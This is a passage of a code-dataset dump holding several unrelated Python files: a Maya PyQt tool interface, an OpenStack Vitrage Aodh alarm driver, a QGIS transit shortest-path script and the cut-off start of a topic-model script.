\"Frequency :\", None))\r\n self.camShake_tr_lab.setText(_translate(\"SkiesScript\", \"Translations :\", None))\r\n self.camShake_tr_ALL_cb.setText(_translate(\"SkiesScript\", \"All\", None))\r\n self.camShake_rot_X_cb.setText(_translate(\"SkiesScript\", \"X\", None))\r\n self.camShake_rot_Y_cb.setText(_translate(\"SkiesScript\", \"Y\", None))\r\n self.camShake_rot_Z_cb.setText(_translate(\"SkiesScript\", \"Z\", None))\r\n self.camShake_tr_amp_lab.setText(_translate(\"SkiesScript\", \"Amplitude :\", None))\r\n self.camShake_rot_lab.setText(_translate(\"SkiesScript\", \"Rotations :\", None))\r\n self.camShake_rot_ALL_cb.setText(_translate(\"SkiesScript\", \"All\", None))\r\n self.camShake_tr_X_cb.setText(_translate(\"SkiesScript\", \"X\", None))\r\n self.camShake_tr_Y_cb.setText(_translate(\"SkiesScript\", \"Y\", None))\r\n self.camShake_tr_Z_cb.setText(_translate(\"SkiesScript\", \"Z\", None))\r\n self.camShake_rot_amp_lab.setText(_translate(\"SkiesScript\", \"Amplitude :\", None))\r\n self.camShake_doIt.setText(_translate(\"SkiesScript\", \"Start Shaking !\", None))\r\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.camShake_tab), _translate(\"SkiesScript\", \"Camera Shake\", None))\r\n# _____________________________ END COMPILED UI _____________________________ #\r\n\r\n\r\n\r\n# _______________________________ MAIN CLASS ________________________________ #\r\n\r\ndef inMaya():\r\n if os.path.basename(sys.argv[0]) == \"maya.bin\":\r\n return getMayaWindow()\r\n return None\r\n\r\ndef getMayaWindow():\r\n ptr = OpenMayaUI.MQtUtil.mainWindow()\r\n if ptr is not None:\r\n return sip.wrapinstance(long(ptr), QtCore.QObject)\r\n\r\nclass SkiesScript(QtGui.QMainWindow, SkiesScript_UI):\r\n def __init__(self, parent=inMaya()):\r\n super(SkiesScript, self).__init__(parent)\r\n self.setupUi(self)\r\n self.setupConnections()\r\n self.resetGroupValue = 1\r\n self.autoRigArmSide = \"Left\"\r\n self.autoRigLegSide = \"left\"\r\n self.tabWidget.setCurrentIndex(0)\r\n\r\n def setupConnections(self):\r\n #Script Tab\r\n self.scripts_pythonTest_pb.clicked.connect(sk.printTest)\r\n self.scripts_camShake_pb.clicked.connect(self.tabConnect)\r\n self.scripts_myShelf_pb.clicked.connect(self.myMenu)\r\n self.scripts_toolbar_pb.clicked.connect(st.UI)\r\n\r\n self.scripts_resetGrp_pb.clicked.connect(self.resetGroup)\r\n self.scripts_resetGrp_remove_rb.clicked.connect(partial(self.getReset, 1))\r\n self.scripts_resetGrp_keep_rb.clicked.connect(partial(self.getReset, 0))\r\n\r\n #self.scripts_autoRig_arm_pb.clicked.connect(self.autoRigArm)\r\n self.scripts_autoRig_arm_txt.textChanged.connect(self.getAutoRigArm)\r\n\r\n #self.scripts_autoRig_leg_pb.clicked.connect(self.autoRigLeg)\r\n self.scripts_autoRig_leg_txt.textChanged.connect(self.getAutoRigLeg)\r\n\r\n #self.scripts_autoRig_spine_pb.clicked.connect(self.autoRigSpine)\r\n\r\n #Camera Shake Tab\r\n self.camShake_oldUI.clicked.connect(self.cameraShakeUI)\r\n\r\n self.camShake_startFrame_pb.clicked.connect(self.startFrameSetTxt)\r\n self.camShake_endFrame_pb.clicked.connect(self.endFrameSetTxt)\r\n\r\n def myMenu(self):\r\n reload(su)\r\n su.myMenu()\r\n\r\n def startFrameSetTxt(self):\r\n self.camShake_startFrame_sb.setValue( mc.playbackOptions( q = 1, min = 1 ) )\r\n\r\n def endFrameSetTxt(self):\r\n self.camShake_endFrame_sb.setValue( mc.playbackOptions( q = 1, min = 1 ) )\r\n\r\n def tabConnect(self):\r\n self.tabWidget.setCurrentIndex(1)\r\n\r\n def getReset(self, value):\r\n self.resetGroupValue = value\r\n\r\n def cameraShakeUI(self):\r\n sk.cameraShakeUI()\r\n\r\n def resetGroup(self):\r\n mc.undoInfo(openChunk=True)\r\n try: sk.resetGroup(self.resetGroupValue)\r\n finally: mc.undoInfo(closeChunk=True)\r\n\r\n def getAutoRigArm(self):\r\n self.autoRigArmSide = self.scripts_autoRig_arm_txt.toPlainText()\r\n\r\n def getAutoRigLeg(self):\r\n self.autoRigLegSide = self.scripts_autoRig_leg_txt.toPlainText()\r\n\r\n# _____________________________ END MAIN CLASS ______________________________ #\r\n\r\n\r\n\r\n\r\n# _________ EXECUTE UI __________#\r\n\r\ndef run():\r\n if Maya:\r\n global SkiesScriptUI\r\n try: SkiesScriptUI.close()\r\n except: pass\r\n SkiesScriptUI = SkiesScript()\r\n SkiesScriptUI.show()\r\n \r\n elif __name__ == \"__main__\":\r\n qapp = QtGui.QApplication(sys.argv)\r\n SkiesScriptUI = SkiesScript()\r\n SkiesScriptUI.show()\r\n sys.exit(qapp.exec_())\r\n","sub_path":"dev/Maya/Qt/ScriptsUI.py","file_name":"ScriptsUI.py","file_ext":"py","file_size_in_byte":30766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"632754854","text":"# Copyright 2016 - Alcatel-Lucent\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom oslo_log import log\n\nfrom vitrage.common.constants import DatasourceAction\nfrom vitrage.common.constants import DatasourceProperties as DSProps\nfrom vitrage.datasources.alarm_driver_base import AlarmDriverBase\nfrom vitrage.datasources.aodh import AODH_DATASOURCE\nfrom vitrage.datasources.aodh.properties import AodhEventType\nfrom vitrage.datasources.aodh.properties import AodhProperties as AodhProps\nfrom vitrage.datasources.aodh.properties import AodhState\nfrom vitrage import os_clients\nfrom vitrage.utils import datetime as datetime_utils\n\nLOG = log.getLogger(__name__)\n\n\nclass AodhDriver(AlarmDriverBase):\n\n def __init__(self, conf):\n super(AodhDriver, self).__init__()\n self._client = None\n self.conf = conf\n self._init_aodh_event_actions()\n self._cache_all_alarms()\n\n @property\n def client(self):\n if not self._client:\n self._client = os_clients.ceilometer_client(self.conf)\n return self._client\n\n def _vitrage_type(self):\n return AODH_DATASOURCE\n\n def _alarm_key(self, alarm):\n return alarm[AodhProps.ALARM_ID]\n\n def _cache_all_alarms(self):\n alarms = self._get_alarms()\n self._filter_and_cache_alarms(alarms,\n self._filter_get_valid)\n\n def _get_alarms(self):\n try:\n aodh_alarms = self.client.alarms.list()\n return [self._convert_alarm(alarm) for alarm in aodh_alarms]\n except Exception as e:\n LOG.exception(\"Failed to get all alarms, Exception: %s\", e)\n return []\n\n def _is_erroneous(self, alarm):\n return alarm and alarm[AodhProps.STATE] == AodhState.ALARM\n\n def _status_changed(self, alarm1, alarm2):\n return alarm1 and alarm2 and \\\n not alarm1[AodhProps.STATE] == alarm2[AodhProps.STATE]\n\n def _is_valid(self, alarm):\n return True\n\n @classmethod\n def _convert_event_alarm(cls, alarm):\n res = cls._convert_base_alarm(alarm)\n res[AodhProps.EVENT_TYPE] = alarm.event_rule[AodhProps.EVENT_TYPE],\n res[AodhProps.RESOURCE_ID] = _parse_query(alarm.event_rule,\n AodhProps.EVENT_RESOURCE_ID)\n return res\n\n @classmethod\n def _convert_threshold_alarm(cls, alarm):\n res = cls._convert_base_alarm(alarm)\n res[AodhProps.STATE_TIMESTAMP] = alarm.state_timestamp\n res[AodhProps.RESOURCE_ID] = _parse_query(alarm.threshold_rule,\n AodhProps.RESOURCE_ID)\n return res\n\n @classmethod\n def _convert_vitrage_alarm(cls, alarm):\n res = cls._convert_base_alarm(alarm)\n res[AodhProps.VITRAGE_ID] = _parse_query(alarm.event_rule,\n AodhProps.VITRAGE_ID)\n res[AodhProps.RESOURCE_ID] = _parse_query(alarm.event_rule,\n AodhProps.RESOURCE_ID)\n return res\n\n @staticmethod\n def _convert_base_alarm(alarm):\n # TODO(iafek): what if the alarm state is 'insufficient data'\n\n return {\n AodhProps.DESCRIPTION: alarm.description,\n AodhProps.ENABLED: alarm.enabled,\n AodhProps.ALARM_ID: alarm.alarm_id,\n AodhProps.NAME: alarm.name,\n AodhProps.PROJECT_ID: alarm.project_id,\n AodhProps.REPEAT_ACTIONS: alarm.repeat_actions,\n AodhProps.SEVERITY: alarm.severity,\n AodhProps.STATE: alarm.state,\n AodhProps.TIMESTAMP: alarm.timestamp,\n AodhProps.TYPE: alarm.type\n }\n\n @classmethod\n def _convert_alarm(cls, alarm):\n alarm_type = alarm.type\n if alarm_type == AodhProps.EVENT and \\\n _is_vitrage_alarm(alarm.event_rule):\n return cls._convert_vitrage_alarm(alarm)\n elif alarm_type == AodhProps.EVENT:\n return cls._convert_event_alarm(alarm)\n elif alarm_type == AodhProps.THRESHOLD:\n return cls._convert_threshold_alarm(alarm)\n else:\n LOG.warning('Unsupported Aodh alarm of type %s' % alarm_type)\n\n @staticmethod\n def get_event_types():\n # Add event_types to receive notifications about\n return [AodhEventType.CREATION,\n AodhEventType.STATE_TRANSITION,\n AodhEventType.RULE_CHANGE,\n AodhEventType.DELETION]\n\n def enrich_event(self, event, event_type):\n if event_type in self.actions:\n entity = self.actions[event_type](event)\n else:\n LOG.warning('Unsupported Aodh event type %s' % event_type)\n return None\n\n # Don't need to update entity, only update the cache\n if entity is None:\n return None\n\n entity[DSProps.EVENT_TYPE] = event_type\n\n return AodhDriver.make_pickleable([entity],\n AODH_DATASOURCE,\n DatasourceAction.UPDATE)[0]\n\n def _init_aodh_event_actions(self):\n self.actions = {\n AodhEventType.CREATION: self._convert_alarm_creation_event,\n AodhEventType.RULE_CHANGE: self._convert_alarm_rule_change_event,\n AodhEventType.STATE_TRANSITION:\n self._convert_alarm_state_transition_event,\n AodhEventType.DELETION: self._convert_alarm_deletion_event\n }\n\n @classmethod\n def _convert_base_event(cls, event):\n return {\n AodhProps.PROJECT_ID: event[AodhProps.PROJECT_ID],\n AodhProps.ALARM_ID: event[AodhProps.ALARM_ID],\n AodhProps.SEVERITY: event[AodhProps.SEVERITY],\n AodhProps.TIMESTAMP: event[AodhProps.TIMESTAMP],\n }\n\n @classmethod\n def _convert_vitrage_alarm_event(cls, rule):\n return {\n AodhProps.VITRAGE_ID: _parse_query(rule, AodhProps.VITRAGE_ID),\n AodhProps.RESOURCE_ID: _parse_query(rule, AodhProps.RESOURCE_ID)\n }\n\n @classmethod\n def _convert_threshold_alarm_event(cls, event):\n rule = event[AodhProps.DETAIL][AodhProps.RULE]\n return {\n AodhProps.RESOURCE_ID: _parse_query(rule, AodhProps.RESOURCE_ID),\n AodhProps.STATE_TIMESTAMP: event[AodhProps.STATE_TIMESTAMP]\n }\n\n @classmethod\n def _convert_event_alarm_event(cls, rule):\n return {\n AodhProps.EVENT_TYPE: rule[AodhProps.EVENT_TYPE],\n AodhProps.RESOURCE_ID:\n _parse_query(rule, AodhProps.EVENT_RESOURCE_ID)\n }\n\n @classmethod\n def _convert_detail_event(cls, event):\n alarm_info = event[AodhProps.DETAIL]\n alarm_rule = alarm_info[AodhProps.RULE]\n\n entity_detail = {\n AodhProps.DESCRIPTION: alarm_info[AodhProps.DESCRIPTION],\n AodhProps.ENABLED: alarm_info[AodhProps.ENABLED],\n AodhProps.NAME: alarm_info[AodhProps.NAME],\n AodhProps.STATE: alarm_info[AodhProps.STATE],\n AodhProps.REPEAT_ACTIONS: alarm_info[AodhProps.REPEAT_ACTIONS],\n AodhProps.TYPE: alarm_info[AodhProps.TYPE]\n }\n\n if _is_vitrage_alarm(alarm_rule):\n entity_detail.update(cls._convert_vitrage_alarm_event(alarm_rule))\n elif entity_detail[AodhProps.TYPE] == AodhProps.EVENT:\n entity_detail.update(cls._convert_event_alarm_event(alarm_rule))\n elif entity_detail[AodhProps.TYPE] == AodhProps.THRESHOLD:\n entity_detail.update(\n cls._convert_threshold_alarm_event(event))\n\n return entity_detail\n\n @classmethod\n def _parse_changed_rule(cls, change_rule):\n entity = {}\n if AodhProps.EVENT_TYPE in change_rule:\n entity[AodhProps.EVENT_TYPE] = change_rule[AodhProps.EVENT_TYPE]\n if 'query' in change_rule:\n event_resource_id = \\\n _parse_query(change_rule, AodhProps.EVENT_RESOURCE_ID)\n resource_id = \\\n _parse_query(change_rule, AodhProps.RESOURCE_ID)\n if event_resource_id or resource_id:\n entity[AodhProps.RESOURCE_ID] = event_resource_id if \\\n event_resource_id is not None else resource_id\n\n return entity\n\n def _convert_alarm_creation_event(self, event):\n entity = self._convert_base_event(event)\n detail = self._convert_detail_event(event)\n entity.update(detail)\n\n return self._filter_and_cache_alarm(entity, None,\n self._filter_get_erroneous,\n datetime_utils.utcnow(False))\n\n def _convert_alarm_rule_change_event(self, event):\n \"\"\"handle alarm rule change notification\n\n example of changed rule:\n \"detail\": {\"severity\": \"critical\",\n \"rule\":\n {\"query\": [{\"field\": \"traits.resource_id\",\n \"type\": \"\",\n \"value\": \"1\",\n \"op\": \"eq\"}],\n \"event_type\": \"instance.update\"}}\n \"\"\"\n\n old_alarm = self._old_alarm(event)\n entity = old_alarm.copy()\n\n changed_rule = event[AodhProps.DETAIL]\n for (changed_type, changed_info) in changed_rule.items():\n # handle changed rule which may effect the neighbor\n if changed_type == AodhProps.RULE:\n entity.update(self._parse_changed_rule(\n changed_rule[changed_type]))\n # handle other changed alarm properties\n elif changed_type in AodhProps.__dict__.values():\n entity[changed_type] = changed_info\n\n return self._filter_and_cache_alarm(entity, old_alarm,\n self._filter_get_erroneous,\n datetime_utils.utcnow(False))\n\n def _convert_alarm_state_transition_event(self, event):\n old_alarm = self._old_alarm(event)\n entity = old_alarm.copy()\n entity[AodhProps.STATE] = event[AodhProps.DETAIL][AodhProps.STATE]\n\n return self._filter_and_cache_alarm(entity, old_alarm,\n self._filter_get_change,\n datetime_utils.utcnow(False))\n\n def _convert_alarm_deletion_event(self, event):\n alarm_key = self._alarm_key(event)\n alarm = self.cache.pop(alarm_key)[0]\n return alarm if self._is_erroneous(alarm) else None\n\n\ndef _parse_query(data, key):\n query_fields = data.get(AodhProps.QUERY, {})\n for query in query_fields:\n field = query['field']\n if field == key:\n return query['value']\n return None\n\n\ndef _is_vitrage_alarm(rule):\n return _parse_query(rule, AodhProps.VITRAGE_ID) is not None\n","sub_path":"vitrage/datasources/aodh/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":11374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"592744329","text":"##[Network]=group\n##Lines=vector\n##Start_Name=field Lines\n##End_Name=field Lines\n##Max_walking_distance=number 500\n##Max_waiting_time=number 10\n##Transit_network=vector\n##Cost=field Transit_network\n##Park_ride=boolean False\n##Results=output vector\n\nfrom processing.core.VectorWriter import VectorWriter\nfrom qgis.core import * \nfrom qgis.networkanalysis import * \nfrom PyQt4.QtCore import *\nfrom operator import itemgetter\nfrom math import sqrt\nimport time\n\n\ndef indexFeat(index, i, pt):\n\tf = QgsFeature()\n\tf.setFeatureId(i)\n\tf.setGeometry(QgsGeometry.fromPoint(pt))\n\tindex.insertFeature(f)\n\ndef buffRect(point, b):\n\tx = point.x()\n\ty = point.y()\n\treturn QgsRectangle(x - b, y - b, x + b, y + b)\n\n\ndef mergePolylines(lines):\n\t''' merge list of wkb lines,\n\tlines parameter is a list of wkb Polylines, Multipolylines must be exploded\n\tthe two closest end/start of lines in the order of the list will be merged\n\treturns as Wkb linestring'''\n\t\n\tlpts = list(lines[0]) # list of points\n\t\t\n\tfor l in lines[1:]:\n\n\t\tm = min([(True, False, lpts[0].sqrDist(l[0])),\n\t\t\t\t (True, True, lpts[0].sqrDist(l[-1])),\n\t\t\t\t (False, False, lpts[-1].sqrDist(l[0])),\n\t\t\t\t (False, True, lpts[-1].sqrDist(l[-1]))], key=itemgetter(2))\n\t\t\n\t\tif m[0]: lpts.reverse()\n\t\tif m[1]: lpts.extend(reversed(l))\n\t\telse: lpts.extend(l)\n\t\t\t\t\n\treturn lpts\n\n\ndef accumulateArcs(graph, start, dests, tree, i):\n\t''' Accumulates values on the shortest path\n\tG: Graph\n\tstart : starting node of graph\n \tdest : list of nodes to accumulate in graph value\n \ttree : list of previous arcs\n \ti : start number in arc attributes for accumulation\n \tReturn dict, key node in dests list, value list of attributes''' \t\n \t\n\tdest_nodes = set(dests) \t\t\t# accessible nodes to analyze\n\t\n\t# pre-fill results dict\n\tres = {k:-1 for k in range(graph.vertexCount())}\n\t\t\n\twhile len(dest_nodes) > 0:\n\t\t\n\t\tpath = []\t\t\t\t \t # list of nodes on path to start\n\t\tn_cursor = dest_nodes.pop() # first node to traverse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\twhile n_cursor != start:\n\t\t\tdest_nodes.discard(n_cursor) # if n_cursor a destination, delete from list\n\t\t\t\t\t\t\n\t\t\t# add arc value to res\n\t\t\tres[n_cursor] = graph.arc(tree[n_cursor]).properties()[i:]\n\n\t\t\tfor n in path:\n\t\t\t\tres[n] = [x + y for x,y in zip(res[n], res[n_cursor])]\n\t\n\t\t\t# add node in path\n\t\t\tpath.append(n_cursor)\n\n\t\t\t# next vertex on path\n\t\t\tn_cursor = graph.arc(tree[n_cursor]).outVertex()\n\t\t\t\t\n\t\t\t# if already traversed arc, end loop\n\t\t\tif n_cursor != start and res[n_cursor] != -1:\n\t\t\t\t\t\t\t\t\n\t\t\t\tfor n in path:\n\t\t\t\t\tres[n] = [x + y for x,y in zip(res[n], res[n_cursor])]\n\t\t\t\tn_cursor = start\n\t\t\n\treturn {k:res[k] for k in dests}\n\n\nprogress.setText('Built graph')\n\nbuff = Max_walking_distance / 2.0\ntmax = Max_waiting_time\n\n# internal parameters\npen_car = 2.0 # penality for car mode\nr_VP = 0.5 # maximum amount of P+R in total time\nm_VP = 20 # maximum amount of car time (minutes)\nsep = \"/\"\t\t\t# separator for modes list\n\n\nnetLayer = processing.getObject(Transit_network)\nnetPder = netLayer.dataProvider()\nfieldnames = netPder.fieldNameMap()\nn = netLayer.featureCount()\n\nif netLayer.fieldNameIndex(\"from\")==-1: progress.setText(\"No field from\")\nif netLayer.fieldNameIndex(\"to\")==-1: progress.setText(\"No field to\")\nif netLayer.fieldNameIndex(\"dir\")==-1: progress.setText(\"No field dir\")\nif netLayer.fieldNameIndex(\"freq\")==-1: progress.setText(\"No field freq\")\nif netLayer.fieldNameIndex(\"mode\")==-1: progress.setText(\"No field mode\")\n\n\nG = QgsGraph()\nNodes = {} # key Network.id(), value node graoh id\nnode_freq = {} # key node graph id, value frequency of node\nArc_ix = []\t\t\t\t\t # list of arcs to add to graph\nageom = {}\t\t\t\t # store geometry as wkt by feature id for graph, by name+i for start and end connections\n\nl = 0\nfor feat in processing.features(netLayer):\n\tprogress.setPercentage(int(100*l/n))\n\tl+=1\n\t\n\tdirection = feat[\"dir\"]\n\tmode = feat[\"mode\"]\n\tcost = feat[Cost]\n\t\n\t# arc in graph only if it has a cost, a direction and if not PR arcs or not of VP type\n\t\n\tif direction != 0 and (Park_ride or mode !='road'): \n\t\tn_begin = feat[\"from\"]\n\t\tn_end = feat[\"to\"]\n\t\tgeom = feat.geometry() \n\t\t\n\t\ti = str(feat.id()) + sep\n\n\t\t# building nodes\n\t\tNodes[n_begin] = {'p':geom.vertexAt(0), 'mode':mode, 'fr':30.0 / feat[\"freq\"]}\n\t\tif geom.isMultipart(): geom = geom.asGeometryCollection()[-1]\n\t\tNodes[n_end] = {'p':geom.vertexAt(len(geom.asPolyline())-1),\n\t\t\t\t\t 'mode':mode,\n\t\t\t\t\t 'fr':30.0 / feat[\"freq\"]}\n\t\t\t\t\n\t\t# penalize road cost\t\t\n\t\tif Park_ride and mode =='road': costs = [cost * pen_car]\n\t\telse : costs = [cost]\n\t\t\t\t\n\t\tif mode == 'transfer': costs.extend([1, cost, sep, i])\n\t\telif mode == 'parking': costs.extend([0, cost, sep, i])\n\t\telse: costs.extend([0, 0, mode + sep, i])\n\t\n\t\tif Park_ride and mode == 'road': costs.extend([cost, cost])\n\t\telif Park_ride: costs.extend([0, cost])\n\t\t\n\t\t# cost with park and ride = [cost with car penality, number of transfers, transfer cost, mode text, featid, road cost, full cost]\n\t\t# cost transit only = [cost, number of transfers, transfer cost, mode text, featid]\n\n\t\t# add arcs in graph depending on direction\t\t\t\t\t\t\t\t\n\t\tif direction == 1 or direction == 2: Arc_ix.append([n_begin, n_end, costs])\n\t\tif direction == -1 or direction == 2: Arc_ix.append([n_end, n_begin, costs])\n\nix = QgsSpatialIndex()\nfullix = QgsSpatialIndex()\n\n# Add nodes to graph\nfor k in Nodes:\n\n\t# store node parameters\n\tp = Nodes[k]['p']\n\tmode = Nodes[k]['mode']\n\tfreq = Nodes[k]['fr']\n\t\n\t# add node to graph\n\tNodes[k] = G.addVertex(p)\n\tnode_freq[Nodes[k]] = freq\n\t\n\tif mode != 'road': indexFeat(ix, Nodes[k], p)\n\tindexFeat(fullix, Nodes[k], p)\n\n# Add arcs to graph\nfor a in Arc_ix:\n\tG.addArc(Nodes[a[0]], Nodes[a[1]], a[2])\n\n\n\n# Imports lines\nprogress.setText('Add start and end points')\n\nlines = {}\nstartpts = {}\nendpts = {}\n\nlineslayer = processing.getObject(Lines)\nlinesprvder = lineslayer.dataProvider()\n\nn = lineslayer.featureCount()\n\nl = 0\nfor feat in processing.features(lineslayer):\n\tprogress.setPercentage(int(100*l/n))\n\tl+=1\n\t\n\tgeom = feat.geometry()\n\tlines[(feat[Start_Name], feat[End_Name])] = {}\n\t\n\tstartpts[feat[Start_Name]] = geom.vertexAt(0)\n\t\n\tif geom.isMultipart(): geom = geom.asGeometryCollection()[-1]\n\tendpts[feat[End_Name]] = geom.vertexAt(len(geom.asPolyline())-1)\n\n\n\n# connect start and end pts to graph\nmax_n = max(Nodes)\nbadstart = []\nbadend = []\n\nfor s,p in startpts.iteritems():\t\n\t\t\t\n\tnear = ix.intersects(buffRect(p, buff))\n\t\n\tif len(near)==0:\n\t\tprogress.setText(\"Start point {0} not connected\".format(s))\n\t\tbadstart.append(s)\n\t\t\n\telse:\n\t\t# create new node\n\t\tmax_n += 1\n\t\tNodes[max_n] = G.addVertex(p)\n\t\tstartpts[s] = Nodes[max_n]\n\t\t\t\t\t\t\n\t\tfor i in near:\n\t\t\t\n\t\t\tpt = G.vertex(i).point()\n\t\t\n\t\t\t# waiting time\t\t\n\t\t\twait = min(tmax, node_freq[i] + sqrt(p.sqrDist(pt)) * 0.015)\n\t\t\t\n\t\t\tif Park_ride: cost = [wait, 0, wait, 'walk', s+str(i), 0, wait]\n\t\t\telse: cost = [wait, 0, wait, 'walk', s+str(i)]\n\t\t\t\n\t\t\tG.addArc(Nodes[max_n], i, cost)\n\t\t\tageom[s+str(i)] = QgsGeometry().fromPolyline([p, pt]).exportToWkt()\n\nfor s,p in endpts.iteritems():\t\n\t\t\t\n\t# find points in full index, including on road\n\tnear = fullix.intersects(buffRect(p, buff))\n\t\n\tif len(near)==0:\n\t\tprogress.setText(\"End point {0} not connected\".format(s))\n\t\tbadend.append(s)\n\t\t\n\telse:\n\t\t# create new node\n\t\tmax_n += 1\n\t\tNodes[max_n] = G.addVertex(p)\n\t\tendpts[s] = Nodes[max_n]\n\t\twait = 0\n\t\t\t\t\t\t\n\t\tfor i in near:\n\t\t\t\n\t\t\tpt = G.vertex(i).point()\n\t\t\t\t\t\n\t\t\tif Park_ride: cost = [wait, 0, wait, 'walk'+sep, s+str(i)+sep, 0, wait]\n\t\t\telse: cost = [wait, 0, wait, 'walk'+sep, s+str(i)+sep]\n\t\t\t\n\t\t\tG.addArc(i, Nodes[max_n], cost)\n\t\t\tageom[s+str(i)] = QgsGeometry().fromPolyline([pt, p]).exportToWkt()\n\n\npairs = {x:[] for x in set([x[0] for x in lines]) if x not in badstart}\nfor s,e in lines:\n\tif e not in badend: pairs[s].append(e)\n\n\n\n# Shortest times per start point\n\nprogress.setText('Shortest times...')\n\nmax_n = len(Nodes)\nn = len(pairs)\nl = 0\n\nfor st in pairs:\n\tprogress.setPercentage(int(100*l/n))\n\tl+=1\n\t\n\tstpt = startpts[st]\n\tends = [endpts[x] for x in pairs[st]]\n\t\n\t(tree, cost) = QgsGraphAnalyzer.dijkstra(G, stpt, 0)\n\n\t# accessible nodes with length\n\tvalid = set([i for i in ends if tree[i] != -1])\n\t\n\t# secondary values\n\tparam = accumulateArcs(G, stpt, valid, tree, 1)\n\t\n # add park and ride cost\n\tif Park_ride:\n\t\tfor i in [x for x in valid if param[x][4] > 0]:\t\t\t\t\t\n\t\t\tcost[i] = param[i][5]\n\n # built list of unique modes\n\tfor i in valid:\n\t\ttxt = param[i][2].split(sep)\n\t\tif len(txt) == 0: param[i][2] = ''\n\t\telif len(txt) == 1: param[i][2] = txt[0]\n\t\telse: param[i][2] = sep.join(list(set(txt) - set(['walk', 'road'])))\n\n # assign costs and params to lines\n\tfor e in pairs[st]:\n\t\tlines[(st, e)] = {'cost': cost[endpts[e]], 'param': param[endpts[e]]}\n\n\n# load path geometry\nfids = set([long(y) for x in lines.values() for y in x['param'][3].split(sep)[1:-1]])\nr = QgsFeatureRequest().setFilterFids(list(fids))\nageom.update({str(f.id()):f.geometry().exportToWkt() for f in netLayer.getFeatures(r)})\n\n\n# Prepare results\n\nresfeat = QgsFeature()\n\nfields = linesprvder.fields()\nfields.append(QgsField(Cost, QVariant.Double))\nfields.append(QgsField(\"transfers\", QVariant.Int))\nfields.append(QgsField(\"transfCost\", QVariant.Double))\nfields.append(QgsField(\"modes\", QVariant.String))\nif Park_ride: fields.append(QgsField(\"driveCost\", QVariant.Double))\n\nwriter = VectorWriter(Results, None, fields, QGis.WKBLineString, netPder.crs()) \n\nl = 0\nmax_n = len(lines)\n\nfor feat in processing.features(lineslayer):\n\tprogress.setPercentage(int(100 * l/max_n))\n\tl+=1\n\t\n\tattrs = feat.attributes()\n\t\n\tpstart = pairs[feat[Start_Name]]\n\tres = lines[(feat[Start_Name], feat[End_Name])]\n\t\n\tglist = [ageom[x] for x in res['param'][3].split(sep)[1:-1]]\n\t\n\tpolylist = [] # a list of Polyline\n\t\n\tfor x in glist:\n\t\tgeom = QgsGeometry().fromWkt(x)\t\t\n\t\tif geom.isMultipart():\n\t\t\tgeom = geom.asGeometryCollection()\t\n\t\t\tpolylist.extend([x.asPolyline() for x in geom])\n\t\telse: polylist.append(geom.asPolyline())\n\t\t\n\t\tresfeat.setGeometry(QgsGeometry().fromPolyline(reversed(mergePolylines(polylist))))\n\n\t\n\tattrs.extend([res['cost'], int(res['param'][0]), res['param'][1], res['param'][2]])\n\t\n\tif Park_ride: attrs.append(res['param'][4])\n\t\t\n\tresfeat.setAttributes(attrs)\n\twriter.addFeature(resfeat)\n\ndel writer","sub_path":"scripts/Shortest paths - transit.py","file_name":"Shortest paths - transit.py","file_ext":"py","file_size_in_byte":10249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"24369597","text":"\nimport numpy as np\nimport timeit\nfrom collections import Counter\nfrom scipy.optimize import linear_sum_assignment\nimport random\nfrom scipy import optimize\nimport sys\nsys.path.append('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/')\n\n# load dictionaries\ndoc_term_prob_dict = np.load('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/doc_term_prob_dict.npy').item()\ndoc_doc_term_dict = np.load('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/doc_doc_term_dict.npy').item()\ndoc_term_dict_R31 = np.load('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/doc_term_dict_R31.npy').item()\ny = np.load('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/y.npy')\n\n# T, D, K\nT = 8411\nD = 2542\nK = 2\n\n# define functions\nimport numpy as np\nfrom scipy.optimize import linear_sum_assignment\n\n# use labels to decide the topic identifibiality issue and output a dictionary\ndef topic_mapping(y, phi, K):\n \"\"\"\n :param y: the true label(s), should be an np.array of shape (n,)\n :param phi: should be an np.array of shape (n, K), e.g. phi_sample[:,:,MCMC_iters-1]\n :returns: a dictionary with (key, value) = (topic, index), where topic is\n a nonnegative integer, and index is the corresponding entry for the topic\n in a row vector of phi (phi is indexed by document, this phi is the theta in our report)\n \"\"\"\n # first get the column sum of observations for each topic\n # in order to use scipy.optimize.linear_sum_assignment, need to first\n # transform the cost matrix, so that the cost matrix is nonnegative\n # and the goal to find the smallest \"cost\" permutation\n #col_sum_dict = {}\n #cost_dict = {}\n cost_matrix = np.zeros((K,K))\n for topic in range(K):\n #col_sum_dict[topic] = np.sum(phi[y==topic,:], axis = 0)\n #cost_dict[topic] = sum(y == topic) - col_sum_dict[topic]\n cost_matrix[topic,:] = sum(y == topic) - np.sum(phi[y==topic,:], axis = 0)\n # now find the \"optimal\" topic mapping by minimizing the loss\n row_ind, col_ind = linear_sum_assignment(cost_matrix) # row_ind is not of interest\n# cost_matrix[row_ind, col_ind].sum()\n return dict(zip(row_ind, col_ind))\n\ndef bar_phi_d(d, prob_dict, K, doc_doc_term_dict, doc_term_dict_R31):\n \"\"\"\n :param d: a string of a nonnegative integer standing for the document id\n :param prob_dict: should be a dictionary with\n (key,value) = (('doc_id', 'term'), np.array(K,)), e.g. doc_term_prob_dict\n :returns: an np.array of shape(K,)\n \"\"\"\n # first find the keys existent in prob_dict that includes 'd'\n Nd = 0 # number of slots/words in doc d\n pks_d = np.zeros(K,)\n 